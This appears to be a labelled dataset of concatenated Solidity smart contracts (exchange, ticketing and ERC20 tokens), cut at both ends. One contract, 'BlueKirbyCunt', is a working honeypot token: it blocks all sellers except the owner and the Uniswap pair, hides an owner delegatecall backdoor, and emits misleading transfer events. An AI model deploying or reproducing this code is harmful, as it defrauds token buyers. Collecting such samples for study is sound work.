function reduceBalance(address user, address token, uint256 amount) private returns(bool) {
if (balances[token][user] < amount) return false;
balances[token][user] = safeSub(balances[token][user], amount);
return true;
}
function increaseBalanceOrWithdraw(address user, address token, uint256 amount, uint256 _withdraw) private returns(bool) {
if (_withdraw == 1) {
return sendToUser(user, token, amount);
} else {
return increaseBalance(user, token, amount);
}
}
function increaseBalance(address user, address token, uint256 amount) private returns(bool) {
balances[token][user] = safeAdd(balances[token][user], amount);
return true;
}
function sendToUser(address user, address token, uint256 amount) private returns(bool) {
if (token == address(0)) {
return user.send(toTokenAmount(address(0), amount));
} else {
return safeTransfer(token, user, toTokenAmount(token, amount));
}
}
function toTokenAmount(address token, uint256 amount) private view returns (uint256) {
require(tokenRegistered[token]);
uint256 decimals = token == address(0)
? 18
: tokenDecimals[token];
if (decimals == 8) {
return amount;
}
if (decimals > 8) {
return safeMul(amount, 10**(decimals - 8));
} else {
return safeDiv(amount, 10**(8 - decimals));
}
}
function setTakerFeeRate(uint256 feeRate) external onlyAdmin {
require(feeRate == 0 || feeRate >= feeRateLimit);
takerFeeRate = feeRate;
}
function setMakerFeeRate(uint256 feeRate) external onlyAdmin {
require(feeRate == 0 || feeRate >= feeRateLimit);
makerFeeRate = feeRate;
}
function setFeeAddress(address _feeAddress) external onlyAdmin {
require(_feeAddress != address(0));
feeAddress = _feeAddress;
}
function disableFeesForUser(address user, uint256 timestamp) external onlyAdmin {
require(timestamp > block.timestamp);
disableFees[user] = timestamp;
}
function registerToken(address token, uint256 decimals) external onlyAdmin {
require(!tokenRegistered[token]);
tokenRegistered[token] = true;
tokenDecimals[token] = decimals;
}
function tradesLock(address user) external {
require(user == msg.sender);
tradesLocked[user] = block.number + 20000;
emit TradesLock(user);
}
function tradesUnlock(address user) external {
require(user == msg.sender);
tradesLocked[user] = 0;
emit TradesUnlock(user);
}
function isUserMakerFeeEnabled(address user, uint256 disableFee) private view returns(bool) {
return disableFee == 0 && makerFeeRate > 0 && disableFees[user] < block.timestamp;
}
function isUserTakerFeeEnabled(address user, uint256 disableFee) private view returns(bool) {
return disableFee == 0 && takerFeeRate > 0 && disableFees[user] < block.timestamp;
}
function calculateRate(uint256 offerAmount, uint256 wantAmount) private pure returns(uint256) {
return safeDiv(safeMul(10**8, wantAmount), offerAmount);
}
function trade(
uint256[10] amounts,
address[4] addresses,
uint256[6] values,
bytes32[4] rs
) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = keccak256(abi.encode(ORDER_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderFills[orderHash2] = safeAdd(orderFills[orderHash2], amounts[9]);
require(orderFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
if (isUserMakerFeeEnabled(addresses[0], values[4])) {
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], makerFeeRate)), values[2]));
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], makerFeeRate));
} else {
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]));
}
if (isUserTakerFeeEnabled(addresses[1], values[5])) {
require(increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], takerFeeRate)), values[3]));
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], takerFeeRate));
} else {
require(increaseBalanceOrWithdraw(addresses[1], addresses[2], amounts[8], values[3]));
}
}
function exchangeAndPay(
uint256[10] amounts,
address[5] addresses,
uint256[4] values,
bytes32[4] rs
) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[3], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = keccak256(abi.encode(ORDER_PAYMENT_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], addresses[4], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderPaymentFills[orderHash2] = safeAdd(orderPaymentFills[orderHash2], amounts[9]);
require(orderPaymentFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]));
require(increaseBalanceOrWithdraw(addresses[4], addresses[2], amounts[8], values[3]));
emit OrderPayment(addresses[1], addresses[1], amounts[9], addresses[4], addresses[2], amounts[2]);
}
function tradeWithTips(
uint256[10] amounts,
address[4] addresses,
uint256[10] values,
bytes32[4] rs
) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = values[4] > 0 || values[5] > 0
? keccak256(abi.encode(ORDER_WITH_TIPS_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3], values[4], values[5]))
: keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = values[6] > 0 || values[7] > 0
? keccak256(abi.encode(ORDER_WITH_TIPS_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7], values[6], values[7]))
: keccak256(abi.encode(ORDER_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderFills[orderHash2] = safeAdd(orderFills[orderHash2], amounts[9]);
require(orderFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
if (values[4] > 0 && !isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], values[4])), values[2]);
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], values[4]));
} else if (values[4] == 0 && isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], makerFeeRate)), values[2]);
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], makerFeeRate));
} else if (values[4] > 0 && isUserMakerFeeEnabled(addresses[0], values[8])) {
increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeAdd(safeDiv(amounts[9], values[4]), safeDiv(amounts[9], makerFeeRate))), values[2]);
increaseBalance(feeAddress, addresses[3], safeAdd(safeDiv(amounts[9], values[4]), safeDiv(amounts[9], makerFeeRate)));
} else {
increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]);
}
if (values[7] > 0 && !isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], values[7])), values[3]);
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], values[7]));
} else if (values[7] == 0 && isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], takerFeeRate)), values[3]);
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], takerFeeRate));
} else if (values[7] > 0 && isUserTakerFeeEnabled(addresses[1], values[9])) {
increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeAdd(safeDiv(amounts[8], values[7]), safeDiv(amounts[8], takerFeeRate))), values[3]);
increaseBalance(feeAddress, addresses[2], safeAdd(safeDiv(amounts[8], values[7]), safeDiv(amounts[8], takerFeeRate)));
} else {
increaseBalanceOrWithdraw(addresses[1], addresses[2], amounts[8], values[3]);
}
}
function() public payable {
revert();
}
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function safeDiv(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeTransfer(
address token,
address to,
uint256 value)
private
returns (bool success)
{
success = token.call(0xa9059cbb, to, value);
return checkReturnValue(success);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value)
private
returns (bool success)
{
success = token.call(0x23b872dd, from, to, value);
return checkReturnValue(success);
}
function checkReturnValue(
bool success
)
private
pure
returns (bool)
{
if (success) {
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
success := 0
}
}
}
return success;
}
} | 0 | 726 |
pragma solidity ^0.4.15;
contract tickets {
mapping(uint256 => uint256) public ticketPrices;
mapping(address => uint256[]) public ticketsOwners;
mapping(uint256 => address) public ticketsOwned;
mapping(address => uint256) public noOfTicketsOwned;
mapping(address => bool) public banned;
uint256 public noOfSeats;
mapping(address => uint256[]) public reservations;
mapping(address => uint256) public noOfreservations;
mapping(address => uint256) public timeOfreservations;
mapping(address => uint256) public priceOfreservations;
mapping(uint256 => address) public addressesReserving;
uint256 public lowestAddressReserving=0;
uint256 public highestAddressReserving=0;
mapping(uint256 => uint256[]) public ticketTransfers;
mapping(uint256 => uint256) public ticketTransfersPerAmount;
uint256 public ticketTransfersAmount = 0;
mapping(address => uint256[]) public ticketTransferers;
mapping(address => uint256) public ticketTransferersAmount;
mapping(address => uint256[]) public ticketTransferees;
mapping(address => uint256) public ticketTransfereesAmount;
mapping(address => bytes32) public hashes;
string public name;
uint256 public secondsToHold = 60 * 5 ;
address public owner;
function tickets(uint256[] ticks, uint256 nOfSeats, string n) {
for(uint256 i=0;i<nOfSeats;i++) {
ticketPrices[i] = ticks[i];
}
noOfSeats = nOfSeats;
name = n;
owner = msg.sender;
}
function reserveSeats(uint256[] seats, uint256 nOfSeats) {
if(noOfreservations[msg.sender] != 0 && !banned[msg.sender]) {
revert();
}
resetReservationsInternal();
uint256 price = 0;
for(uint256 i=0;i<nOfSeats;i++) {
if(ticketsOwned[seats[i]] != 0x0) {
revert();
}
reservations[msg.sender].push(seats[i]);
price += ticketPrices[seats[i]];
ticketsOwned[seats[i]] = msg.sender;
}
noOfreservations[msg.sender] = nOfSeats;
timeOfreservations[msg.sender] = now;
priceOfreservations[msg.sender] = price;
noOfTicketsOwned[msg.sender]++;
highestAddressReserving++;
Reserved(msg.sender, seats);
}
function resetReservations(address requester, bool resetOwn) {
if(noOfreservations[requester] == 0) {
throw;
}
for(uint256 i=0;i<noOfreservations[requester] && resetOwn;i++) {
ticketsOwned[reservations[requester][i]] = 0x0;
noOfTicketsOwned[msg.sender]--;
}
reservations[requester] = new uint256[](0);
noOfreservations[requester] = 0;
timeOfreservations[requester] = 0;
priceOfreservations[requester] = 0;
}
function resetReservationsInternal() private {
bool pastTheLowest = false;
bool stop = false;
for(uint256 i=lowestAddressReserving;i<highestAddressReserving && !stop;i++) {
if(timeOfreservations[addressesReserving[i]] != 0) {
pastTheLowest = true;
if(now - timeOfreservations[addressesReserving[i]] > secondsToHold) {
resetReservations(addressesReserving[i], true);
} else {
stop = true;
}
}
if(timeOfreservations[addressesReserving[i]] == 0 && !pastTheLowest) {
lowestAddressReserving = i;
}
}
}
function revokeTickets(address revokee, bool payback) payable {
if(msg.sender == owner) {
banned[revokee] = true;
uint256 price = 0;
for(uint256 i=0;i<noOfTicketsOwned[revokee];i++) {
ticketsOwned[ticketsOwners[revokee][i]] = 0x0;
price+=ticketPrices[ticketsOwners[revokee][i]];
}
ticketsOwners[revokee] = new uint256[](0);
noOfTicketsOwned[revokee] = 0;
if(payback) {
revokee.send(price);
}
Banned(revokee, payback);
}
}
function InvokeTransfer(address transferee, uint256[] ticks, uint256 amount) {
if(amount>0 && getTransfer(msg.sender,transferee) != 100000000000000000) {
for(uint256 i=0;i<amount;i++) {
ticketTransfers[ticketTransfersAmount].push(ticks[i]);
}
ticketTransferers[msg.sender][ticketTransferersAmount[msg.sender]++] = ticketTransfersAmount;
ticketTransferees[transferee][ticketTransfereesAmount[transferee]++] = ticketTransfersAmount;
ticketTransfersPerAmount[ticketTransfersAmount] = amount;
TransferStarted(msg.sender, transferee, ticks, ticketTransfersAmount++);
} else {
revert();
}
}
function removeTransfer(uint256 transferID) {
bool transferer = false;
for(uint256 i=0;i<ticketTransferersAmount[msg.sender] && !transferer;i++) {
if(ticketTransferers[msg.sender][i] == transferID) {
transferer = true;
}
}
if(transferer) {
ticketTransfers[transferID] = new uint256[](0);
} else {
revert();
}
}
function finishTransfer(uint256 transferID) payable {
bool transferee = false;
for(uint256 j=0;j<ticketTransfereesAmount[msg.sender] && !transferee;j++) {
if(ticketTransferees[msg.sender][j] == transferID) {
transferee = true;
}
}
if(!transferee) {
revert();
}
uint256 price = 0;
for(uint256 i=0;i<ticketTransfersPerAmount[transferID];i++) {
price += ticketPrices[ticketTransfers[transferID][i]];
}
if(msg.value == price) {
for(i=0;i<ticketTransfersPerAmount[transferID];i++) {
ticketsOwned[ticketTransfers[transferID][i]] = msg.sender;
}
Transferred(transferID);
} else {
revert();
}
}
function getTransfer(address transferer, address transferee) returns (uint256) {
for(uint256 i=0;i<ticketTransferersAmount[transferer];i++) {
for(uint256 j=0;j<ticketTransfereesAmount[transferee];j++) {
if(ticketTransferers[transferer][i] == ticketTransferees[transferee][j]) {
return ticketTransferees[transferee][j];
}
}
}
return 100000000000000000;
}
function returnTickets(uint256 ticketID) {
if(ticketsOwned[ticketID] == msg.sender) {
for(uint256 i=0;i<noOfTicketsOwned[msg.sender];i++) {
if(ticketsOwners[msg.sender][i] == ticketID) {
ticketsOwners[msg.sender][i] = 100000000000000000;
}
}
ticketsOwned[ticketID] = 0x0;
noOfTicketsOwned[msg.sender]--;
msg.sender.send(ticketPrices[ticketID]);
} else {
revert();
}
}
function changePrice (uint256[] seats, uint256 nOfSeats) {
if(nOfSeats == noOfSeats) {
for(uint256 i = 0;i<noOfSeats;i++) {
ticketPrices[i] = seats[i];
}
} else {
revert();
}
}
function setHash(bytes32 hash) {
hashes[msg.sender] = hash;
}
function checkHash(address a, string password) constant returns (bool) {
return hashes[a]!="" && hashes[a] == sha3(password);
}
function() payable {
if(msg.value == priceOfreservations[msg.sender] && !banned[msg.sender]) {
for(uint256 i=0;i<noOfreservations[msg.sender];i++) {
ticketsOwners[msg.sender].push(reservations[msg.sender][i]);
}
resetReservations(msg.sender, false);
owner.send(msg.value);
Confirmed(msg.sender);
} else {
revert();
}
}
event Reserved(address indexed _to, uint256[] _tickets);
event Confirmed(address indexed _to);
event TransferStarted(address indexed _from, address indexed _to, uint256[] _tickets, uint256 _transferID);
event Transferred(uint256 _transferID);
event Banned(address indexed _banned, bool payback);
} | 0 | 53 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BlueKirbyCunt {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,796 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract TKRToken is StandardToken {
event Destroy(address indexed _from, address indexed _to, uint256 _value);
string public name = "TKRToken";
string public symbol = "TKR";
uint256 public decimals = 18;
uint256 public initialSupply = 65500000 * 10 ** 18;
function TKRToken() {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
}
function destroy(uint256 _value) onlyOwner returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Destroy(msg.sender, 0x0, _value);
}
} | 1 | 3,845 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
